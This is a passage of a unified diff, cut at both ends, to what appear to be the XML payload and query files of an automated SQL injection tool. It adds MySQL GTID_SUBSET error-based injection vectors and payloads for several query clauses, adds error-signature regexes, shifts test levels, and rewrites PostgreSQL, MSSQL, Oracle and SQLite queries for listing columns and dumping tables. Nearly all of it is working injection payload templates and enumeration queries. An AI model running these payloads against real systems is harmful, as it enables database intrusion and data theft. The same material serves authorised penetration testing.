||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Raima Database Manager">
|
||||||
|
<error regexp="-10048: Syntax error"/>
|
||||||
|
<error regexp="rdmStmtPrepare\(.+?\) returned"/>
|
||||||
|
</dbms>
|
||||||
|
|
||||||
|
<dbms value="Virtuoso">
|
||||||
|
<error regexp="SQ074: Line \d+:"/>
|
||||||
|
<error regexp="SR185: Undefined procedure"/>
|
||||||
|
<error regexp="SQ200: No table "/>
|
||||||
|
<error regexp="Virtuoso S0002 Error"/>
|
||||||
|
<error regexp="\[(Virtuoso Driver|Virtuoso iODBC Driver)\]\[Virtuoso Server\]"/>
|
||||||
|
</dbms>
|
||||||
</root>
|
</root>
|
||||||
|
|||||||
@@ -91,6 +91,46 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>4</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,8,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -135,7 +175,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -159,7 +199,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
|
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
|
||||||
@@ -184,7 +224,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
<title>MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>1</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -208,7 +248,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
<title>MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>1</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
|
<!-- Despite this is an OR payload, keep where to 1 because otherwise it will not work when injecting in ORDER BY or GROUP BY -->
|
||||||
@@ -282,7 +322,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,8,9</clause>
|
<clause>1,2,3,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -307,7 +347,7 @@
|
|||||||
<!-- It does not work against ORDER BY or GROUP BY clause -->
|
<!-- It does not work against ORDER BY or GROUP BY clause -->
|
||||||
<title>MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)</title>
|
<title>MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>3</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,8,9</clause>
|
<clause>1,8,9</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -332,7 +372,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL OR error-based - WHERE or HAVING clause (FLOOR)</title>
|
<title>MySQL OR error-based - WHERE or HAVING clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>4</level>
|
||||||
<risk>3</risk>
|
<risk>3</risk>
|
||||||
<clause>1,8,9</clause>
|
<clause>1,8,9</clause>
|
||||||
<where>2</where>
|
<where>2</where>
|
||||||
@@ -886,6 +926,26 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 error-based - Parameter replace (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,2,3,9</clause>
|
||||||
|
<where>3</where>
|
||||||
|
<vector>GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 error-based - Parameter replace (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -909,7 +969,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0 error-based - Parameter replace (FLOOR)</title>
|
<title>MySQL >= 5.0 error-based - Parameter replace (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>1</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
@@ -957,7 +1017,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)</title>
|
<title>MySQL >= 5.1 error-based - Parameter replace (EXTRACTVALUE)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>2</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>1,2,3,9</clause>
|
<clause>1,2,3,9</clause>
|
||||||
<where>3</where>
|
<where>3</where>
|
||||||
@@ -1155,6 +1215,26 @@
|
|||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>MySQL >= 5.6 error-based - ORDER BY, GROUP BY clause (GTID_SUBSET)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>5</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>2,3</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>,GTID_SUBSET(CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM])</vector>
|
||||||
|
<request>
|
||||||
|
<payload>,GTID_SUBSET(CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'),[RANDNUM])</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>MySQL</dbms>
|
||||||
|
<dbms_version>>= 5.6</dbms_version>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
|
<title>MySQL >= 5.7.8 error-based - ORDER BY, GROUP BY clause (JSON_KEYS)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
@@ -1178,7 +1258,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 5.0 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>3</level>
|
<level>4</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -1198,7 +1278,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)</title>
|
<title>MySQL >= 5.1 error-based - ORDER BY, GROUP BY clause (EXTRACTVALUE)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>4</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
@@ -1238,7 +1318,7 @@
|
|||||||
<test>
|
<test>
|
||||||
<title>MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
|
<title>MySQL >= 4.1 error-based - ORDER BY, GROUP BY clause (FLOOR)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
<level>2</level>
|
<level>3</level>
|
||||||
<risk>1</risk>
|
<risk>1</risk>
|
||||||
<clause>2,3</clause>
|
<clause>2,3</clause>
|
||||||
<where>1</where>
|
<where>1</where>
|
||||||
|
|||||||
@@ -131,8 +131,8 @@
|
|||||||
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
<blind query="SELECT tablename FROM pg_tables WHERE schemaname='%s' ORDER BY tablename OFFSET %d LIMIT 1" count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT attname,typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
|
<inband query="SELECT attname,typname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" condition="attname"/>
|
||||||
<blind query="SELECT attname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
<blind query="SELECT attname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s' ORDER BY attname" query2="SELECT typname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s' ORDER BY attname" count="SELECT COUNT(attname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND a.relname='%s' AND nspname='%s'" condition="attname"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
<inband query="SELECT %s FROM %s.%s ORDER BY %s"/>
|
||||||
@@ -147,8 +147,8 @@
|
|||||||
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>
|
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables WHERE %s" query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE %s" count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'" condition="tablename" condition2="schemaname"/>
|
||||||
</search_table>
|
</search_table>
|
||||||
<search_column>
|
<search_column>
|
||||||
<inband query="SELECT nspname,relname FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
<inband query="SELECT nspname,relname FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" condition="attname" condition2="nspname" condition3="relname"/>
|
||||||
<blind query="SELECT DISTINCT(nspname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
<blind query="SELECT DISTINCT(nspname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" query2="SELECT DISTINCT(relname) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" count="SELECT COUNT(DISTINCT(nspname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND %s" count2="SELECT COUNT(DISTINCT(relname)) FROM pg_attribute b JOIN pg_class a ON a.oid=b.attrelid JOIN pg_type c ON c.oid=b.atttypid JOIN pg_namespace d ON a.relnamespace=d.oid WHERE b.attnum>0 AND nspname='%s'" condition="attname" condition2="nspname" condition3="relname"/>
|
||||||
</search_column>
|
</search_column>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
||||||
@@ -198,11 +198,11 @@
|
|||||||
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
<blind query="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases ORDER BY name) ORDER BY name" count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
|
||||||
</dbs>
|
</dbs>
|
||||||
<tables>
|
<tables>
|
||||||
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
<inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS table_name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT name FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
<blind query="SELECT TOP 1 %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') AND %s..sysusers.name+'.'+%s..sysobjects.name NOT IN (SELECT TOP %d %s..sysusers.name+'.'+%s..sysobjects.name FROM %s..sysobjects INNER JOIN %s..sysusers ON %s..sysobjects.uid=%s..sysusers.uid WHERE %s..sysobjects.xtype IN ('u','v') ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name) ORDER BY %s..sysusers.name+'.'+%s..sysobjects.name" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE %s..sysobjects.xtype IN ('u','v')" query2="SELECT TOP 1 table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' AND table_schema+'.'+table_name NOT IN (SELECT TOP %d table_schema+'.'+table_name FROM information_schema.tables WHERE table_catalog='%s' ORDER BY table_schema+'.'+table_name) ORDER BY table_schema+'.'+table_name" count2="SELECT LTRIM(STR(COUNT(table_name))) FROM information_schema.tables WHERE table_catalog='%s'" query3="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype='U' ORDER BY name) ORDER BY name" count3="SELECT COUNT(name) FROM %s..sysobjects WHERE xtype='U'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
<inband query="SELECT %s..syscolumns.name,TYPE_NAME(%s..syscolumns.xtype) AS type_name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query2="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" condition="[DB]..syscolumns.name"/>
|
||||||
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
<blind query="SELECT TOP 1 %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' AND %s..syscolumns.name NOT IN (SELECT TOP %d %s..syscolumns.name FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s' ORDER BY %s..syscolumns.name) ORDER BY %s..syscolumns.name" query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" query3="SELECT COL_NAME(OBJECT_ID('%s.%s'),%d)" count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')" condition="[DB]..syscolumns.name"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
@@ -301,8 +301,8 @@
|
|||||||
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
<blind query="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s' AND OWNER='%s'" count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND OWNER='%s'" condition="COLUMN_NAME"/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
<inband query="SELECT %s FROM %s"/>
|
<inband query="SELECT %s FROM %s ORDER BY ROWNUM"/>
|
||||||
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
<blind query="SELECT %s FROM (SELECT qq.*,ROWNUM AS LIMIT FROM %s qq ORDER BY ROWNUM) WHERE LIMIT=%d" count="SELECT COUNT(*) FROM %s"/>
|
||||||
</dump_table>
|
</dump_table>
|
||||||
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
<!-- NOTE: in Oracle schema names are the counterpart to database names on other DBMSes -->
|
||||||
<search_db>
|
<search_db>
|
||||||
@@ -357,7 +357,7 @@
|
|||||||
<blind query="SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT %d,1" count="SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'"/>
|
<blind query="SELECT tbl_name FROM sqlite_master WHERE type='table' LIMIT %d,1" count="SELECT COUNT(tbl_name) FROM sqlite_master WHERE type='table'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
<inband query="SELECT MIN(sql) FROM sqlite_master WHERE tbl_name='%s'"/>
|
<inband query="SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='%s'"/>
|
||||||
<blind query="SELECT sql FROM sqlite_master WHERE tbl_name='%s' LIMIT 1" condition=""/>
|
<blind query="SELECT sql FROM sqlite_master WHERE tbl_name='%s' LIMIT 1" condition=""/>
|
||||||
</columns>
|
</columns>
|
||||||
<dump_table>
|
<dump_table>
|
||||||
@@ -1370,8 +1370,8 @@
|
|||||||
<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
|
<blind query="SELECT table_name FROM information_schema.tables WHERE table_schema='%s' LIMIT 1 OFFSET %d" count="SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema='%s'"/>
|
||||||
</tables>
|
</tables>
|
||||||
<columns>
|
<columns>
|
||||||
